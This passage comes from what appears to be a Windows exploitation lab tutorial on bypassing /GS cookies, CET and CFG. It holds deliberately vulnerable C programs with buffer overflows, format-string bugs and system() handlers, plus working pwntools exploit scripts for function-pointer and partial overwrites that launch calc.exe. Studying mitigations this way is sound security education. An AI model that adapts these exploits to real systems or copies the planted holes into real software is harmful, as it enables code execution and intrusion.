sockaddr*)&server_addr, sizeof(server_addr));\n    listen(server_sock, 5);\n\n    printf(\"Server listening on port %d...\\n\", PORT);\n    printf(\"safe_handler      @ %p\\n\", safe_handler);\n    printf(\"dangerous_handler @ %p\\n\", dangerous_handler);\n    fflush(stdout);\n\n    while (1) {\n        client_sock = accept(server_sock, (struct sockaddr*)&client_addr, &client_len);\n        printf(\"\\nClient connected!\\n\");\n        fflush(stdout);\n        handle_client(client_sock);\n        closesocket(client_sock);\n        printf(\"[*] Connection closed (server stays alive for next client)\\n\");\n        fflush(stdout);\n    }\n\n    closesocket(server_sock);\n    WSACleanup();\n    return 0;\n}\n```\n\n**Compile**:\n\n```bash\n# Save source to C:\\Windows_Mitigations_Lab\\src\\vulnerable_server.c\ncd C:\\Windows_Mitigations_Lab\n\n# Compile WITH \u002FGS but WITHOUT CFG (to isolate cookie bypass)\n# \u002Fguard:cf is intentionally omitted - CFG would block the indirect call\n# \u002FDYNAMICBASE:NO \u002FFIXED makes addresses predictable for learning\ncl \u002FGS \u002FZi \u002FD_CRT_SECURE_NO_WARNINGS src\\vulnerable_server.c ^\n   \u002FFe:bin\\vuln_server.exe \u002Flink ws2_32.lib \u002FDEBUG ^\n   \u002FNXCOMPAT \u002FDYNAMICBASE:NO \u002FFIXED\n\n# Also compile a CFG-protected version to show defense:\ncl \u002FGS \u002FZi \u002Fguard:cf \u002FD_CRT_SECURE_NO_WARNINGS src\\vulnerable_server.c ^\n   \u002FFe:bin\\vuln_server_cfg.exe \u002Flink ws2_32.lib \u002FDEBUG ^\n   \u002FNXCOMPAT \u002FDYNAMICBASE:NO \u002FFIXED \u002Fguard:cf\n\n# Verify mitigations:\ndumpbin \u002Fheaders bin\\vuln_server.exe | findstr \"NX Guard\"\n# Expected: NX compatible  (no Guard CF)\ndumpbin \u002Fheaders bin\\vuln_server_cfg.exe | findstr \"NX Guard\"\n# Expected: NX compatible + Control Flow Guard\n```\n\n**Pwntools Exploit - Cookie Leak + Data-Only Attack**:\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nexploits\u002Fsc_1.py\nStack Cookie Bypass via Format String Leak + Function Pointer Overwrite\n\nThis exploit demonstrates a DATA-ONLY attack that works even on Windows 11\nwith CET (shadow stacks) enabled, because it never hijacks a return address.\n\nAttack flow:\n  Stage 1: Format string leak to dump stack values (find layout info)\n  Stage 2: Overflow struct buffer to overwrite adjacent function pointer\n           The handler is called BEFORE the function epilogue cookie check.\n\nWhy this works despite \u002FGS:\n  \u002FGS reorders LOCAL variables so arrays are near the cookie. But it does NOT\n  reorder STRUCT MEMBERS (C standard guarantees layout). Our struct places\n  data[128] at offset 0 and handler at offset 128. Overflow of data directly\n  overwrites handler regardless of \u002FGS reordering of the struct as a whole.\n\nWhat this bypasses:\n  - \u002FGS stack cookies (handler called before cookie check at function return)\n  - \u002FGS variable reordering (struct members maintain declared order)\n  - CET shadow stacks (no return address corruption - indirect CALL, not RET)\n  - DEP (no shellcode, reuses existing code)\n\nWhat would block this:\n  - CFG (\u002Fguard:cf) - validates indirect call targets against bitmap\n\nUsage:\n  1. Start server:  bin\\\\vuln_server.exe\n  2. Run exploit:   python exploits\\\\sc_1.py\n  3. With offsets:   python exploits\\\\sc_1.py --exploit\n\"\"\"\n\nfrom pwn import *\nimport time\nimport sys\nimport re\n\n# Configuration\nHOST = \"127.0.0.1\"\nPORT = 9999\n\ncontext.arch = 'amd64'\ncontext.os = 'windows'\ncontext.log_level = 'info'\n\n\ndef leak_stack_values(r):\n    \"\"\"\n    Stage 1: Use format string bug to leak stack values.\n\n    On Windows x64, MSVCRT %p prints bare hex WITHOUT '0x' prefix:\n      e.g., \"000000000014FA48\" not \"0x000000000014FA48\"\n    This is different from glibc which prints \"0x14fa48\".\n\n    We dump values to find:\n      - The handler function pointer (points to safe_handler)\n      - Stack\u002Fcode pointers for orientation\n      - Cookie candidates for analysis\n    \"\"\"\n    log.info(\"Stage 1: Leaking stack values via format string\")\n\n    # Use fewer specifiers to keep output within bounds.\n    # Each %p on MSVCRT outputs 16 hex chars. With '.' separator:\n    # 20 * (16 + 1) = 340 bytes — safely within response[2048].\n    payload = b\"%p.\" * 20\n    r.send(payload)\n\n    time.sleep(1.0)\n\n    try:\n        response = r.recv(8192, timeout=5)\n    except EOFError:\n        log.error(\"Connection closed before receiving leak response\")\n        log.error(\"The server may have crashed during sprintf.\")\n        log.error(\"Check server console for error messages.\")\n        return None\n\n    if not response:\n        log.error(\"Empty response - server may have crashed\")\n        return None\n\n    log.info(f\"Received {len(response)} bytes\")\n    log.info(f\"Raw: {response[:200]}\")\n\n    # Parse leaked values - handle BOTH MSVCRT and glibc %p formats:\n    #   MSVCRT:  \"000000000014FA48\" (bare 16-char hex, uppercase)\n    #   glibc:   \"0x14fa48\"         (0x prefix, lowercase)\n    #   Either:  \"(nil)\" or \"00000000\"  (null)\n    leaks = []\n    for part in response.split(b'.'):\n        part = part.strip()\n        if not part:\n            continue\n        try:\n            decoded = part.decode('ascii', errors='ignore').strip()\n            if not decoded:\n                continue\n\n            if decoded.lower() == '(nil)':\n                leaks.append(0)\n            elif decoded.startswith('0x') or decoded.startswith('0X'):\n                # glibc-style: \"0x7fff12345678\"\n                leaks.append(int(decoded, 16))\n            elif re.match(r'^[0-9A-Fa-f]+$', decoded) and len(decoded) >= 8:\n                # MSVCRT-style: \"000000000014FA48\" (bare hex, 8-16 chars)\n                leaks.append(int(decoded, 16))\n            else:\n                continue\n        except (ValueError, TypeError):\n            continue\n\n    if not leaks:\n        log.error(\"No values parsed from format string output!\")\n        log.error(\"Raw response was: %s\", response)\n        return None\n\n    # Display all leaked values with analysis\n    log.info(f\"Parsed {len(leaks)} values:\")\n    print(f\"\\n{'Idx':>4} {'Value':>20} {'Analysis'}\")\n    print(\"-\" * 65)\n\n    for i, val in enumerate(leaks):\n        analysis = \"\"\n        if val == 0:\n            analysis = \"NULL\"\n        elif val \u003C 0x10000:\n            analysis = \"small value \u002F size \u002F flags\"\n        elif 0x0000000140000000 \u003C= val \u003C= 0x000000014FFFFFFF:\n            analysis = \"\u003C-- EXE code pointer (check if safe\u002Fdangerous_handler)\"\n        elif 0x00007FF000000000 \u003C= val \u003C= 0x00007FFFFFFFFFFF:\n            analysis = \"DLL code pointer (ntdll\u002Fkernel32\u002Fetc)\"\n        elif 0x0000000000010000 \u003C= val \u003C= 0x00000000FFFFFFFF:\n            analysis = \"stack\u002Flow pointer\"\n        elif val > 0x100000000:\n            # High entropy, not obviously a pointer - could be cookie\n            analysis = \"** COOKIE CANDIDATE ** (high entropy)\"\n        print(f\"[{i:3d}] 0x{val:016X}  {analysis}\")\n\n    print()\n    return leaks\n\n\ndef exploit():\n    \"\"\"\n    Discovery phase:\n    1. Leak stack values to understand layout\n    2. Send cyclic pattern to find offset to handler\n    \"\"\"\n    log.info(f\"Target: {HOST}:{PORT}\")\n    log.info(\"\")\n    log.info(\"DISCOVERY PHASE\")\n    log.info(\"===============\")\n    log.info(\"Step 1: Leak stack values via format string\")\n    log.info(\"Step 2: Send cyclic pattern to find handler offset\")\n    log.info(\"\")\n\n    # ---- Stage 1: Leak ----\n    r = remote(HOST, PORT)\n    leaks = leak_stack_values(r)\n    if not leaks:\n        r.close()\n        return\n\n    # ---- Stage 2: Cyclic pattern to find handler offset ----\n    # struct request { char data[128]; handler_t handler; int status; };\n    # In theory, handler is at data+128. But let's verify empirically\n    # in case of padding or compiler alignment.\n    log.info(\"Stage 2: Sending cyclic pattern to find handler offset\")\n    log.info(\"Watch the server console for: 'req.handler now points to: XXXXXXXX'\")\n    log.info(\"Then use cyclic_find() with that value to get the exact offset.\")\n\n    pattern = cyclic(512)\n    time.sleep(0.5)\n    r.send(pattern)\n\n    time.sleep(1)\n    r.close()\n\n    log.info(\"\")\n    log.info(\"=\" * 60)\n    log.info(\"NEXT STEPS:\")\n    log.info(\"=\" * 60)\n    log.info(\"1. Read the server output for dangerous_handler address\")\n    log.info(\"   e.g.: dangerous_handler @ 00000001400043BD\")\n    log.info(\"\")\n    log.info(\"2. Read the corrupted handler value from server output\")\n    log.info(\"   e.g.: req.handler now points to: 6261617462616173\")\n    log.info(\"\")\n    log.info(\"3. Find offset:\")\n    log.info(\"   python -c \\\"from pwn import *; print(cyclic_find(0x\u003Cvalue>))\\\"\")\n    log.info(\"   (expected: 128 for struct request with data[128])\")\n    log.info(\"\")\n    log.info(\"4. Update HANDLER_OFFSET and DANGEROUS_HANDLER in this script\")\n    log.info(\"5. Run: python exploits\\\\sc_1.py --exploit\")\n    log.info(\"=\" * 60)\n\n\ndef exploit_with_known_offset():\n    \"\"\"\n    Exploitation phase (after discovery).\n    Uses known offset and address to overwrite the handler.\n\n    The struct layout guarantees:\n      req.data    @ offset 0    (128 bytes)\n      req.handler @ offset 128  (8 bytes on x64)\n      req.status  @ offset 136  (4 bytes)\n\n    So HANDLER_OFFSET should be 128 (= sizeof(data)).\n    \"\"\"\n    # ===== UPDATE THESE VALUES FOR YOUR BUILD =====\n    HANDLER_OFFSET = 128                  # offsetof(struct request, handler)\n    DANGEROUS_HANDLER = 0x1400043BD       # from server output \u002F dumpbin\n    # ================================================\n\n    log.info(f\"Exploiting: offset={HANDLER_OFFSET}, target=0x{DANGEROUS_HANDLER:X}\")\n\n    r = remote(HOST, PORT)\n\n    # Stage 1: Send benign string (we don't need the leak for exploitation)\n    r.send(b\"hello_from_exploit\")\n    time.sleep(0.5)\n    try:\n        r.recv(4096, timeout=3)  # Consume the leak response\n    except EOFError:\n        pass\n\n    # Stage 2: Targeted overflow\n    # req.data[0..] is passed as argument to req.handler(req.data).\n    # If handler = dangerous_handler, it calls system(req.data).\n    # So put the command string at the START of data, pad to offset, then address.\n    #\n    # NOTE: system() stops at null byte, so we null-terminate the command\n    # and use 'A' padding after. The padding bytes are safely ignored by system().\n\n    command = b\"calc.exe\\x00\"                           # 9 bytes (with null)\n    padding = b\"B\" * (HANDLER_OFFSET - len(command))    # pad to offset 128\n    handler_addr = p64(DANGEROUS_HANDLER)               # 8 bytes, little-endian\n\n    payload = command + padding + handler_addr\n\n    log.info(f\"Payload layout ({len(payload)} bytes):\")\n    log.info(f\"  [0..{len(command)-1}]   command: {command}\")\n    log.info(f\"  [{len(command)}..{HANDLER_OFFSET-1}] padding: {len(padding)} bytes\")\n    log.info(f\"  [{HANDLER_OFFSET}..{HANDLER_OFFSET+7}] handler: 0x{DANGEROUS_HANDLER:X}\")\n\n    time.sleep(0.5)\n    r.send(payload)\n\n    time.sleep(2)\n    r.close()\n\n    log.success(\"Exploit sent!\")\n    log.success(\"Check the server console for:\")\n    log.success(\"  [DANGER] Executing: calc.exe\")\n    log.success(\"  (calc.exe should open!)\")\n    log.info(\"\")\n    log.info(\"The server process will then crash with 0xC0000409 (\u002FGS cookie)\")\n    log.info(\"because the overflow ALSO corrupted the cookie. But the handler\")\n    log.info(\"already executed — the damage is done BEFORE \u002FGS checks!\")\n    log.info(\"\")\n    log.info(\"To test CFG: run against vuln_server_cfg.exe instead.\")\n    log.info(\"NOTE: CFG is coarse-grained — dangerous_handler IS a valid function\")\n    log.info(\"entry, so CFG will ALLOW this redirect. CFG only blocks calls to\")\n    log.info(\"mid-function addresses, shellcode, or ROP gadgets.\")\n\n\nif __name__ == \"__main__\":\n    if len(sys.argv) > 1 and sys.argv[1] == \"--exploit\":\n        exploit_with_known_offset()\n    else:\n        exploit()\n```\n\n**Running the Exploit**:\n\n```bash\n# Terminal 1: Start the server\ncd C:\\Windows_Mitigations_Lab\n.\\bin\\vuln_server.exe\n# Output:\n#   Server listening on port 9999...\n#   safe_handler      @ 0000000140001F8C\n#   dangerous_handler @ 00000001400043BD\n\n# Terminal 2: Discovery phase\npython exploits\\sc_1.py\n# This leaks stack values and sends a cyclic pattern.\n# Check server output for:\n#   req.handler now points to: 6261616962616168\n# Then find offset:\n#   python -c \"from pwn import *; print(cyclic_find(0x6261616962616168))\"\n#   -> 128  (confirms handler is at data + 128, as expected from struct layout)\n\n# Terminal 2: Update DANGEROUS_HANDLER in script with server's address, then:\npython exploits\\sc_1.py --exploit\n# Server should print: [DANGER] Executing: calc.exe\n# calc.exe opens, then server crashes (cookie check)\n```\n\n#### Technique 2: Partial Overwrite (LSB Overwrite)\n\nCorrupt only the low byte(s) of a function pointer within a struct, redirecting execution\nto a nearby function without needing a full 8-byte address write. This works because\nfunctions in the same binary share upper address bytes when ASLR is off (`\u002FFIXED`).\n\n> [!NOTE]\n> **Why partial overwrite?** In some scenarios, you can only corrupt a limited number of\n> bytes past the buffer boundary (e.g., off-by-one, or the overflow is length-limited).\n> If the target function pointer shares its upper bytes with the desired target (common\n> in the same module without ASLR), overwriting just 1-2 bytes is enough.\n>\n> **CET compatibility**: Like Technique 1, this targets a struct member function pointer\n> (indirect CALL), not the return address. CET shadow stacks don't block it.\n\n**Vulnerable Code**:\n\n```c\n\u002F\u002F partial_overwrite.c\n\u002F\u002F Demonstrates: off-by-N overflow within a struct that partially corrupts\n\u002F\u002F a function pointer, redirecting to a different function in the same module.\n\u002F\u002F\n\u002F\u002F Key insight: Without ASLR (\u002FFIXED), all functions in the EXE share the\n\u002F\u002F same upper bytes (e.g., 0x00000001400XXXXX). Only the lower bytes differ.\n\u002F\u002F An overflow that corrupts just the low 1-2 bytes of a function pointer\n\u002F\u002F can redirect to any function within a 256-byte (1 byte) or 64KB (2 byte) range.\n\n#include \u003Cstdio.h>\n#include \u003Cstring.h>\n#include \u003Cstdlib.h>\n\ntypedef void (*action_t)(const char*);\n\nvoid log_message(const char* msg) {\n    printf(\"[LOG] %s\\n\", msg);\n}\n\nvoid exec_command(const char* msg) {\n    printf(\"[EXEC] Running: %s\\n\", msg);\n    system(msg);  \u002F\u002F RCE!\n}\n\n\u002F\u002F Struct layout is guaranteed by C standard - \u002FGS cannot reorder members\nstruct packet {\n    char name[32];      \u002F\u002F offset 0   - small buffer\n    action_t action;    \u002F\u002F offset 32  - function pointer (our target)\n    int priority;       \u002F\u002F offset 40\n};\n\nvoid process_packet(struct packet *pkt) {\n    printf(\"[*] Processing packet: name='%s'\\n\", pkt->name);\n    printf(\"[*] Action ptr: %p\\n\", (void*)pkt->action);\n    fflush(stdout);\n\n    \u002F\u002F Call the action handler - this is an indirect CALL (CET doesn't block)\n    pkt->action(pkt->name);\n}\n\nint main() {\n    struct packet pkt;\n    pkt.action = log_message;\n    pkt.priority = 0;\n\n    printf(\"log_message  @ %p\\n\", (void*)log_message);\n    printf(\"exec_command @ %p\\n\", (void*)exec_command);\n    printf(\"Offset between: %lld bytes\\n\",\n           (long long)((char*)exec_command - (char*)log_message));\n    fflush(stdout);\n\n    printf(\"\\nEnter packet name (max 32 chars): \");\n    fflush(stdout);\n\n    \u002F\u002F VULNERABILITY: reads up to 40 bytes into 32-byte name field\n    \u002F\u002F Off-by-8: can overwrite the low bytes of pkt.action\n    \u002F\u002F Using fread to handle binary data (fgets stops at newline)\n    int n = (int)fread(pkt.name, 1, 40, stdin);\n    if (n > 0) {\n        \u002F\u002F Don't null-terminate - we want to preserve the partial overwrite bytes\n        printf(\"[*] Read %d bytes\\n\", n);\n        fflush(stdout);\n    }\n\n    process_packet(&pkt);\n    return 0;\n}\n```\n\n**Compile**:\n\n```bash\n# Save to C:\\Windows_Mitigations_Lab\\src\\partial_overwrite.c\ncd C:\\Windows_Mitigations_Lab\n\n# WITHOUT \u002FGS, no ASLR (\u002FFIXED) - isolate the partial overwrite\ncl \u002FGS- \u002FZi \u002FD_CRT_SECURE_NO_WARNINGS src\\partial_overwrite.c ^\n   \u002FFe:bin\\partial_overwrite.exe \u002Flink \u002FNXCOMPAT \u002FDYNAMICBASE:NO \u002FFIXED \u002FDEBUG\n\n# WITH \u002FGS - show that \u002FGS doesn't help (struct members aren't reordered)\ncl \u002FGS \u002FZi \u002FD_CRT_SECURE_NO_WARNINGS src\\partial_overwrite.c ^\n   \u002FFe:bin\\partial_overwrite_gs.exe \u002Flink \u002FNXCOMPAT \u002FDYNAMICBASE:NO \u002FFIXED \u002FDEBUG\n\n```\n\n**Pwntools - Partial Overwrite**:\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nexploits\u002Fsc_2_partial.py\nPartial Overwrite Bypass - Corrupt low bytes of struct function pointer.\n\nWhen the overflow is limited (off-by-N), we can only corrupt the low\nbyte(s) of the function pointer. Since log_message and exec_command are\nin the same binary and ASLR is off, they share upper address bytes.\n\nWorks on Windows 11 + CET: targets struct member (indirect CALL, not RET).\nNOT blocked by coarse-grained CFG (target is a valid function entry).\nBlocked by: ASLR (randomizes upper bytes), fine-grained CFI.\n\nUsage:\n  python exploits\\\\sc_2_partial.py            # Discovery\n  python exploits\\\\sc_2_partial.py --exploit   # Exploitation\n\"\"\"\n\nfrom pwn import *\nimport re\nimport sys\n\ncontext.arch = 'amd64'\ncontext.os = 'windows'\ncontext.log_level = 'info'\n\n\ndef parse_address(output_bytes, label):\n    \"\"\"\n    Parse a function address from the binary's output.\n    Handles MSVCRT bare-hex format (e.g., 0000000140001F96)\n    and glibc 0x-prefixed format.\n    \"\"\"\n    decoded = output_bytes.decode(errors='replace')\n    # Match: \"label  @ 0000000140001F96\" or \"label @ 0x140001F96\"\n    pattern = rf'{re.escape(label)}\\s+@\\s+(0x)?([0-9A-Fa-f]+)'\n    m = re.search(pattern, decoded)\n    if m:\n        return int(m.group(2), 16)\n    return None\n\n\ndef discover():\n    \"\"\"\n    Run the binary to see function addresses and compute the\n    partial overwrite byte(s) needed. Auto-parses addresses.\n    \"\"\"\n    binary_path = r'C:\\Windows_Mitigations_Lab\\bin\\partial_overwrite.exe'\n\n    log.info(\"Discovery: running binary to get function addresses\")\n    p = process([binary_path])\n\n    output = b\"\"\n    try:\n        output = p.recvuntil(b\"Enter packet name\", timeout=5)\n    except:\n        pass\n\n    log.info(f\"Output:\\n{output.decode(errors='replace')}\")\n\n    p.sendline(b\"test\")\n    try:\n        rest = p.recvall(timeout=3)\n        log.info(f\"Rest:\\n{rest.decode(errors='replace')}\")\n    except:\n        pass\n    p.close()\n\n    # Auto-parse addresses\n    log_addr = parse_address(output, 'log_message')\n    exec_addr = parse_address(output, 'exec_command')\n\n    if log_addr and exec_addr:\n        log.success(f\"log_message  = 0x{log_addr:016X}\")\n        log.success(f\"exec_command = 0x{exec_addr:016X}\")\n\n        # Determine how many low bytes differ\n        xor = log_addr ^ exec_addr\n        n_bytes = (xor.bit_length() + 7) \u002F\u002F 8\n        log.info(f\"Addresses differ in lowest {n_bytes} byte(s)\")\n\n        low_bytes = (exec_addr & ((1 \u003C\u003C (n_bytes * 8)) - 1)).to_bytes(n_bytes, 'little')\n        log.info(f\"Low bytes to overwrite (LE): {low_bytes.hex()}\")\n        log.info(f\"\")\n        log.info(f\"Run exploit: python exploits\\\\sc_2_partial.py --exploit\")\n    else:\n        log.error(\"Could not parse addresses from output\")\n\n\ndef exploit():\n    \"\"\"\n    Partial overwrite of function pointer's low byte(s).\n\n    struct packet layout:\n      +0x00: name[32]   (32 bytes)\n      +0x20: action      (8 bytes, function pointer)\n      +0x28: priority    (4 bytes)\n\n    fread reads up to 40 bytes into name[32].\n    Bytes 32-39 overflow into the action pointer.\n    We only need to overwrite the low byte(s) to redirect.\n    \"\"\"\n    binary_path = r'C:\\Windows_Mitigations_Lab\\bin\\partial_overwrite.exe'\n\n    log.info(\"Phase 1: reading addresses from binary output...\")\n    p = process([binary_path])\n\n    output = b\"\"\n    try:\n        output = p.recvuntil(b\"Enter packet name\", timeout=5)\n    except:\n        log.error(\"Timeout waiting for prompt\")\n        p.close()\n        return\n\n    # Auto-parse addresses\n    log_addr = parse_address(output, 'log_message')\n    exec_addr = parse_address(output, 'exec_command')\n\n    if not log_addr or not exec_addr:\n        log.error(\"Could not parse addresses\")\n        p.close()\n        return\n\n    log.success(f\"log_message  = 0x{log_addr:016X}\")\n    log.success(f\"exec_command = 0x{exec_addr:016X}\")\n\n    # Calculate how many low bytes differ\n    xor = log_addr ^ exec_addr\n    n_bytes = (xor.bit_length() + 7) \u002F\u002F 8\n    low_bytes = (exec_addr & ((1 \u003C\u003C (n_bytes * 8)) - 1)).to_bytes(n_bytes, 'little')\n\n    log.info(f\"Addresses differ in lowest {n_bytes} byte(s)\")\n    log.info(f\"Overwriting with: {low_bytes.hex()} (little-endian)\")\n\n    # Build payload:\n    # name[0..8]   = \"calc.exe\\0\" (passed as arg to action(name))\n    # name[9..31]  = padding\n    # name[32..32+n] = low bytes of exec_command\n    command = b\"calc.exe\\x00\"\n    padding = b\"X\" * (32 - len(command))\n    payload = command + padding + low_bytes\n\n    log.info(f\"Payload ({len(payload)} bytes):\")\n    log.info(f\"  [0..{len(command)-1}]   command: {command}\")\n    log.info(f\"  [{len(command)}..31]  padding: {len(padding)} bytes\")\n    log.info(f\"  [32..{32+n_bytes-1}]   low bytes: {low_bytes.hex()} (partial overwrite)\")\n\n    p.send(payload)\n    p.shutdown('send')\n\n    try:\n        output = p.recvall(timeout=5)\n        log.info(f\"Output:\\n{output.decode(errors='replace')}\")\n\n        if b\"[EXEC]\" in output:\n            log.success(\"Partial overwrite worked! exec_command was called!\")\n        elif b\"[LOG]\" in output:\n            log.failure(\"Still calling log_message - check byte count\")\n        else:\n            log.warning(\"Unexpected output\")\n    except:\n        pass\n\n    try:\n        p.wait(timeout=3)\n    except:\n        pass\n\n    if p.returncode is not None:\n        exit_code = p.returncode & 0xFFFFFFFF\n        log.info(f\"Exit code: {hex(exit_code)}\")\n\n    p.close()\n\n\nif __name__ == \"__main__\":\n    if len(sys.argv) > 1 and sys.argv[1] == \"--exploit\":\n        exploit()\n    else:\n        discover()\n```\n\n**Expected Results**:\n\n```bash\n# Discovery phase (addresses auto-parsed):\nc:\\Windows_Mitigations_Lab> python exploits\\sc_2_partial.py\n#[*] Discovery: running binary to get function addresses\n#[*] Output:\n#    log_message  @ 0000000140001F96\n#    exec_command @ 00000001400043C7\n#    Offset between: 9265 bytes\n#[+] log_message  = 0x0000000140001F96\n#[+] exec_command = 0x00000001400043C7\n#[*] Addresses differ in lowest 2 byte(s)\n#[*] Low bytes to overwrite (LE): c743\n\n# Exploitation phase (auto-parsed — no manual update needed):\nc:\\Windows_Mitigations_Lab> python exploits\\sc_2_partial.py --exploit\n#[*] Phase 1: reading addresses from binary output...\n#[+] log_message  = 0x0000000140001F96\n#[+] exec_command = 0x00000001400043C7\n#[*] Addresses differ in lowest 2 byte(s)\n#[*] Overwriting with: c743 (little-endian)\n#[*] Payload (34 bytes):\n#[*]   [0..8]   command: b'calc.exe\\x00'\n#[*]   [9..31]  padding: 23 bytes\n#[*]   [32..33]   low bytes: c743 (partial overwrite)\n#[*] Output:\n#    [*] Read 34 bytes\n#    [*] Processing packet: name='calc.exe'\n#    [*] Action ptr: 00000001400043C7     \u003C- redirected!\n#    [EXEC] Running: calc.exe             \u003C- RCE!\n#[+] Partial overwrite worked! exec_command was called!\n```\n\n> [!IMPORTANT]\n> **Partial Overwrite vs Full Overwrite**: This technique only needs 1-2 bytes of overflow\n> past the buffer boundary. Many bugs that seem \"too small to exploit\" (off-by-one,\n> off-by-few) become exploitable when a function pointer is adjacent in a struct.\n> ASLR makes this harder (randomizes upper bytes too). Note: MSVC CFG (`\u002Fguard:cf`) does\n> NOT block this because the target (`exec_command`) is a valid function entry point — CFG\n> is coarse-grained (see Technique 3's `--cfg-test` for proof).\n\n#### Technique 3: Overwriting Function Pointers (stdin-based)\n\nSame concept as Technique 1 but using a local binary with stdin input instead of a\nnetwork server. This demonstrates that the struct-based function pointer overwrite\nworks identically for local exploits.\n\n**Vulnerable Code (Windows)**:\n\n```c\n\u002F\u002F func_ptr_overwrite.c\n\u002F\u002F Demonstrates: struct-based function pointer overwrite via stdin\n\u002F\u002F Same principle as the network server (Technique 1), but as a local binary.\n\u002F\u002F\n\u002F\u002F The struct guarantees member order. \u002FGS cannot reorder struct internals.\n\u002F\u002F fgets() overflow past data[128] directly overwrites handler at offset 128.\n\n#include \u003Cstdio.h>\n#include \u003Cstring.h>\n#include \u003Cstdlib.h>\n\ntypedef void (*callback_t)(const char*);\n\n\u002F\u002F \u002FGS does NOT reorder struct members\nstruct request {\n    char data[128];          \u002F\u002F offset 0   - overflow source\n    callback_t handler;      \u002F\u002F offset 128 - overflow target\n    int status;              \u002F\u002F offset 136\n};\n\nvoid safe_handler(const char* msg) {\n    printf(\"[SAFE] Handler: %s\\n\", msg);\n}\n\nvoid dangerous_handler(const char* msg) {\n    printf(\"[DANGER] Executing: %s\\n\", msg);\n    system(msg);  \u002F\u002F RCE!\n}\n\nvoid process_request(struct request *req) {\n    printf(\"[*] Processing request...\\n\");\n    printf(\"[*] Handler points to: %p\\n\", (void*)req->handler);\n    fflush(stdout);\n\n    \u002F\u002F Call handler with data - indirect CALL, not RET\n    \u002F\u002F CET shadow stacks don't protect this\n    req->handler(req->data);\n}\n\nint main() {\n    struct request req;\n\n    req.handler = safe_handler;\n    req.status = 0;\n    memset(req.data, 0, 128);\n\n    printf(\"safe_handler      @ %p\\n\", (void*)safe_handler);\n    printf(\"dangerous_handler @ %p\\n\", (void*)dangerous_handler);\n    printf(\"req.data          @ %p\\n\", req.data);\n    printf(\"req.handler       @ %p (offset %zu from data)\\n\",\n           &req.handler, (char*)&req.handler - req.data);\n    fflush(stdout);\n\n    printf(\"\\nEnter request data: \");\n    fflush(stdout);\n\n    \u002F\u002F VULNERABILITY: reads 256 bytes into 128-byte data field via fread\n    \u002F\u002F fread handles binary data correctly (no newline issues)\n    int n = (int)fread(req.data, 1, 256, stdin);\n    printf(\"[*] Read %d bytes\\n\", n);\n    fflush(stdout);\n\n    process_request(&req);\n\n    return 0;\n}\n```\n\n**Compile**:\n\n```bash\n# Save to C:\\Windows_Mitigations_Lab\\src\\func_ptr_overwrite.c\ncd C:\\Windows_Mitigations_Lab\n\n# WITHOUT \u002FGS - baseline\ncl \u002FGS- \u002FZi \u002FD_CRT_SECURE_NO_WARNINGS src\\func_ptr_overwrite.c ^\n   \u002FFe:bin\\func_ptr_overwrite.exe \u002Flink \u002FNXCOMPAT \u002FDYNAMICBASE:NO \u002FFIXED \u002FDEBUG\n\n# WITH \u002FGS - prove struct members are NOT reordered\ncl \u002FGS \u002FZi \u002FD_CRT_SECURE_NO_WARNINGS src\\func_ptr_overwrite.c ^\n   \u002FFe:bin\\func_ptr_overwrite_gs.exe \u002Flink \u002FNXCOMPAT \u002FDYNAMICBASE:NO \u002FFIXED \u002FDEBUG\n\n# WITH CFG - observe coarse-grained protection\ncl \u002FGS \u002FZi \u002Fguard:cf \u002FD_CRT_SECURE_NO_WARNINGS src\\func_ptr_overwrite.c ^\n   \u002FFe:bin\\func_ptr_overwrite_cfg.exe \u002Flink \u002FNXCOMPAT \u002FDYNAMICBASE:NO \u002FFIXED \u002Fguard:cf \u002FDEBUG\n```\n\n**Pwntools Exploit - Function Pointer Overwrite**:\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nexploits\u002Fsc_3_funcptr.py\nFunction Pointer Overwrite via stdin - Bypasses \u002FGS Stack Cookies\n\nSame struct-based technique as the network server exploit (Technique 1),\nbut targeting a local binary that reads from stdin via fread().\n\nstruct request { char data[128]; callback_t handler; int status; };\nfread() overflow: 256 bytes into data[128] overwrites handler at offset 128.\n\nAddresses are auto-parsed from the binary's runtime output — no manual\nupdates needed between rebuilds.\n\nWorks on Windows 11 + CET: struct member corruption, not return address.\nNOT blocked by coarse-grained CFG (target is a valid function entry).\nBlocked by: fine-grained CFI (Clang -fsanitize=cfi).\n\nUsage:\n  python exploits\\\\sc_3_funcptr.py            # Discovery\n  python exploits\\\\sc_3_funcptr.py --exploit   # Exploitation\n\"\"\"\n\nfrom pwn import *\nimport re\nimport sys\n\ncontext.arch = 'amd64'\ncontext.os = 'windows'\ncontext.log_level = 'info'\n\n\ndef parse_address(output_bytes, label):\n    \"\"\"\n    Parse a function address from binary output.\n    Handles MSVCRT bare-hex (0000000140001F96) and 0x-prefixed formats.\n    \"\"\"\n    decoded = output_bytes.decode(errors='replace')\n    pattern = rf'{re.escape(label)}\\s+@\\s+(0x)?([0-9A-Fa-f]+)'\n    m = re.search(pattern, decoded)\n    if m:\n        return int(m.group(2), 16)\n    return None\n\n\ndef parse_offset(output_bytes):\n    \"\"\"\n    Parse the handler offset from 'offset NNN from data' in binary output.\n    \"\"\"\n    decoded = output_bytes.decode(errors='replace')\n    m = re.search(r'offset\\s+(\\d+)\\s+from\\s+data', decoded)\n    if m:\n        return int(m.group(1))\n    return 128  # default fallback\n\n\ndef discover():\n    \"\"\"Run the binary to find function addresses and verify struct layout.\"\"\"\n    binary_path = r'C:\\Windows_Mitigations_Lab\\bin\\func_ptr_overwrite.exe'\n\n    log.info(\"Discovery: running binary to find addresses\")\n    p = process([binary_path])\n\n    output = b\"\"\n    try:\n        output = p.recvuntil(b\"Enter request data:\", timeout=5)\n        log.info(f\"Output:\\n{output.decode(errors='replace')}\")\n    except:\n        pass\n\n    # Send cyclic pattern to find exact offset\n    pattern = cyclic(256)\n    p.send(pattern)\n    p.shutdown('send')\n\n    try:\n        rest = p.recvall(timeout=5)\n        log.info(f\"Rest:\\n{rest.decode(errors='replace')}\")\n    except:\n        pass\n    p.close()\n\n    # Auto-parse addresses\n    safe_addr = parse_address(output, 'safe_handler')\n    danger_addr = parse_address(output, 'dangerous_handler')\n    offset = parse_offset(output)\n\n    if safe_addr and danger_addr:\n        log.success(f\"safe_handler      = 0x{safe_addr:016X}\")\n        log.success(f\"dangerous_handler = 0x{danger_addr:016X}\")\n        log.info(f\"Handler offset from data: {offset}\")\n        log.info(f\"\")\n        log.info(f\"Run: python 